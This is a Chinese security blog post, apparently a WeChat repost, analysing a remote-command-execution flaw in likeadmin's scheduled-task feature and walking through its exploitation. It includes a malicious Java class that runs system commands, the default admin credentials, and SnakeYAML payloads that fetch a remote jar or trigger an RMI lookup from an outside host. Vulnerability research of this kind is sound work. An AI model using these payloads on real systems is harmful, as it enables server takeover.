最近在学习代码审计,偶然想到了一个我之前见过的开源系统,就顺手分析了一下它的漏洞。各位大佬轻喷啊。
影响范围:1.35<=likeadmin<=1.4.2
简要描述:后台定时任务处,对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。(参考若依漏洞复现过程)
制作恶意类
(也可以参看若依的利用方式远程调用jar)
Exp.java文件代码,直接用记事本写
import java.lang.Runtime;
import java.lang.Process;
// 注意不要写package
public class Exp {
static {
try{
// 要执行的命令
String commands = "*******";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
}
catch(Exception e){
e.printStackTrace();}}}
命令行再运行python -m http.server [port]将当前文件夹放到http服务上,然后启动RMI、LDAP服务。
登录进入后台(默认密码admin/123456),然后进入系统设置/系统维护/定时任务/新增,添加计划任务。
调用目标字符串"输入YAML语句:
org.yaml.snakeyaml.Yaml.load('!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: "rmi://****** /t", autoCommit: true}')
计划任务执行完成之后就能收到的dnslog请求
当我们添加并执行计划任务时,likeadmin会调用com.mdd.admin.config.quartz#InvokeUtils解析并执行我们传入的数据,这里的代码逻辑:
beanName #获取传入的类名;
methodName #获取传入的方法名;
methodParams #获取传入方法的参数,如果参数异常会报错;
接着判断传入的类名是否有效,有效的话就会调用Class.forName(beanName).newInstance();进行实例化,然后运行invokeMethod(bean, methodName, methodParams); 执行该类对应的方法
判断逻辑:是否含有小数点
传入一串如下数据,然后调试一下
java.lang.qianxun.func('xtgg')
我们传入的是java.lang.qianxun.func('xtgg')
beanName = "java.lang.qianxun"
methodName = "func"
methodParams = "xtgg"
最终执行的反射代码为:
Class.forName("java.lang.qianxun").getDeclaredMethod("func",String.class).invoke(Class.forName("java.lang.qianxun").newInstance(),"xtgg")
想要通过该反射执行命令,想到使用
java.lang.Runtime.getRuntime().exec(“”)。
若使用该payload,则会跳到JobInvokeUtil.java的这段代码中。
Object bean = Class.forName(beanName).newInstance();invokeMethod(bean,methodName, methodParams);
想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数,所以为了实现getshell,我们需要控制类、方法和参数的反射。传入一个可执行命令的类方法,就能实现目标。该类只需要具有以下两个要求即可:
public类型的无参构造方法。
public类型且可执行命令的方法。
再参考ruoyi框架的利用方式_org.yaml.snakeyaml.Yaml _满足这些条件.
import org.yaml.snakeyaml.Yaml;
import java.lang.reflect.InvocationTargetException;
public class YamlDemo {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException,NoSuchMethodException, InvocationTargetException {
Yaml yaml = new Yaml();
yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL['http://1.1.1.1:2333/Demo.jar']]]]");
//yaml.load("!!com.sun.rowset.JdbcRowSetImpl
{dataSourceName: 'rmi://127.0.0.1:9999/t', autoCommit: true}");
//Class.forName("org.yaml.snakeyaml.Yaml").getMethod("load",
String.class).invoke(Class.forName("org.yaml.snakeyaml.Yaml").newInstance(),"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader[[!!java.net.URL ['http://192.168.3.3:2333/Demo.jar']]]]");
}
}
和若依不同的是likeadmin调用RMI不会报错,所以构造出最终传入的payload为:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://*******/yaml-payload.jar"]]]]')
org.yaml.snakeyaml.Yaml.load('!!com.sun.rowset.JdbcRowSetImpl{dataSourceName: "rmi://****** /t", autoCommit: true}')
原文始发于微信公众号(千寻安服):千寻笔记:一次简单的灰盒挖掘记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论